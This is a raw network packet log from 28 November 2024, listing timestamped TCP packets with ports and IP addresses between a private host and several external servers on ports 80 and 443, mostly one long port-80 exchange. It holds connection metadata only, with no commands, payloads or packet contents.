Nov 28, 2024 08:55:54.951056957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.951071978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.951121092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.951808929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.951859951 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.951945066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.952002048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.952647924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.952754974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.952785969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.952832937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.953484058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.953552961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.038677931 CET	443	49813	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:55.039062977 CET	49813	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:55.039073944 CET	443	49813	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:55.040194988 CET	443	49813	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:55.040285110 CET	49813	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:55.041574955 CET	49813	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:55.041636944 CET	443	49813	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:55.041887999 CET	49813	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:55.041896105 CET	443	49813	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:55.066073895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.084827900 CET	49813	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:55.142510891 CET	443	49812	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:55.142930984 CET	49812	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:55.142952919 CET	443	49812	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:55.143878937 CET	443	49812	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:55.143945932 CET	49812	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:55.146087885 CET	49812	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:55.146147966 CET	443	49812	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:55.146332979 CET	49812	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:55.187290907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.187341928 CET	443	49812	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:55.190989971 CET	49812	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:55.190998077 CET	443	49812	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:55.239300013 CET	49812	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:55.247586966 CET	443	49814	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:55.247875929 CET	49814	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:55.247889042 CET	443	49814	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:55.248950958 CET	443	49814	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:55.249013901 CET	49814	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:55.250215054 CET	49814	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:55.250271082 CET	443	49814	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:55.250426054 CET	49814	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:55.291330099 CET	443	49814	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:55.300614119 CET	49814	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:55.300621033 CET	443	49814	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:55.348617077 CET	49814	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:55.432164907 CET	443	49811	51.104.15.252	192.168.2.8
Nov 28, 2024 08:55:55.432607889 CET	49811	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:55:55.432645082 CET	443	49811	51.104.15.252	192.168.2.8
Nov 28, 2024 08:55:55.433680058 CET	443	49811	51.104.15.252	192.168.2.8
Nov 28, 2024 08:55:55.433747053 CET	49811	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:55:55.434957981 CET	49811	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:55:55.435050964 CET	443	49811	51.104.15.252	192.168.2.8
Nov 28, 2024 08:55:55.435461998 CET	49811	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:55:55.435516119 CET	49811	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:55:55.435529947 CET	443	49811	51.104.15.252	192.168.2.8
Nov 28, 2024 08:55:55.488886118 CET	49811	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:55:55.489020109 CET	443	49813	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:55.489094973 CET	443	49813	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:55.489175081 CET	49813	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:55.490052938 CET	49813	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:55.490080118 CET	443	49813	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:55.491976976 CET	49825	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:55.492008924 CET	443	49825	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:55.492121935 CET	49825	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:55.492332935 CET	49825	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:55.492347002 CET	443	49825	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:55.527522087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.527534962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.527590036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.528053999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.528121948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.528240919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.528383017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.528759956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.528773069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.528817892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.529931068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.529943943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.529973030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.529989958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.530461073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.530472994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.530539036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.531179905 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.531451941 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.531476974 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.532318115 CET	443	49816	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.532500029 CET	49816	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.532510042 CET	443	49816	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.532588959 CET	443	49817	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.532598019 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.532670975 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.532758951 CET	49817	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.532768965 CET	443	49817	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.533734083 CET	443	49816	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.533740997 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.533744097 CET	443	49817	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.533802032 CET	49816	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.533807039 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.533830881 CET	49817	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.534322977 CET	49817	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.534385920 CET	443	49817	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.535166979 CET	49816	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.535242081 CET	443	49816	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.535598040 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.535608053 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.535737038 CET	49817	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.535747051 CET	443	49817	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.535787106 CET	49816	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.535794020 CET	443	49816	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.536756992 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.536967993 CET	49820	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.536989927 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.538034916 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.538095951 CET	49820	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.538389921 CET	49820	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.538450956 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.538507938 CET	49820	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.538913965 CET	443	49821	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.539174080 CET	49821	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.539187908 CET	443	49821	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.540175915 CET	443	49821	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.540230036 CET	49821	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.540483952 CET	49821	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.540543079 CET	443	49821	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.540652037 CET	49821	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.581002951 CET	443	49818	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.581244946 CET	49818	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.581254005 CET	443	49818	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.582258940 CET	443	49818	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.582325935 CET	49818	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.582648993 CET	49818	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.582712889 CET	443	49818	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.582792997 CET	49818	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.582801104 CET	443	49818	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.583333969 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.583642006 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.583765030 CET	49817	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.583766937 CET	49816	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.583769083 CET	49821	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.583769083 CET	49820	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.583777905 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.583777905 CET	443	49821	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.604037046 CET	443	49812	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:55.604209900 CET	443	49812	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:55.604404926 CET	49812	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:55.605750084 CET	49812	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:55.605761051 CET	443	49812	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:55.629851103 CET	49818	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.629854918 CET	49821	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.629858017 CET	49820	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.649224997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.649249077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.649307966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.649339914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.649530888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.649595022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.649631977 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.649678946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.650587082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.650646925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.650719881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.650762081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.651474953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.651485920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.651536942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.652019978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.652082920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.652137995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.652937889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.653043032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.653278112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.653332949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.653744936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.653959990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.654011965 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.654525042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.654664040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.654726028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.655539989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.655553102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.655601978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.656352043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.656363964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.656415939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.657073975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.657151937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.657223940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.657892942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.657951117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.657984972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.658154964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.743601084 CET	443	49814	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:55.743746996 CET	443	49814	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:55.744297028 CET	49814	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:55.750225067 CET	49814	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:55.750237942 CET	443	49814	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:55.755922079 CET	49826	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:55.755969048 CET	443	49826	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:55.756047964 CET	49826	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:55.756254911 CET	49826	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:55.756269932 CET	443	49826	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:55.775013924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.775083065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.775137901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.775197029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.775279045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.775336981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.775346041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.775414944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.776288033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.776298046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.776361942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.777128935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.777141094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.777400017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.777940989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.777951956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.777993917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.778650045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.778752089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.778924942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.778975964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.779490948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.779539108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.779566050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.779613972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.780309916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.780380964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.780462980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.780523062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.781140089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.781207085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.781239986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.781286001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.781946898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.781985044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.782073975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.782783985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.782838106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.782949924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.783620119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.783673048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.783751011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.783802986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.784455061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.784509897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.784554005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.784660101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.785295010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.785348892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.785394907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.785435915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.786138058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.786197901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.786237955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.786429882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.786978960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.787058115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.787090063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.787206888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.787801027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.787872076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.787928104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.787971973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.788724899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.788781881 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.788899899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.788964033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.789480925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.789542913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.789606094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.789670944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.790311098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.790426016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.790474892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.791152954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.791208029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.791208982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.791297913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.792063951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.792113066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.792152882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.792211056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.792814016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.792861938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.899859905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.899914980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.899929047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.900172949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.900285959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.900335073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.900336027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.900405884 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.901158094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.901205063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.901274920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.901344061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.901968002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.902021885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.902056932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.902158022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.902801037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.902849913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.902892113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.902945042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.903639078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.903690100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.903742075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.903837919 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.904455900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.904529095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.904530048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.904613018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.905320883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.905373096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.905407906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.905458927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.906105995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.906172037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.906238079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.906296968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.906966925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.907016993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.907041073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.907166958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.907814026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.907869101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.907900095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.907953978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.908658028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.908710003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.908781052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.908824921 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.909482002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.909540892 CET	49748	80	192.168.2.8	185.215.113.206
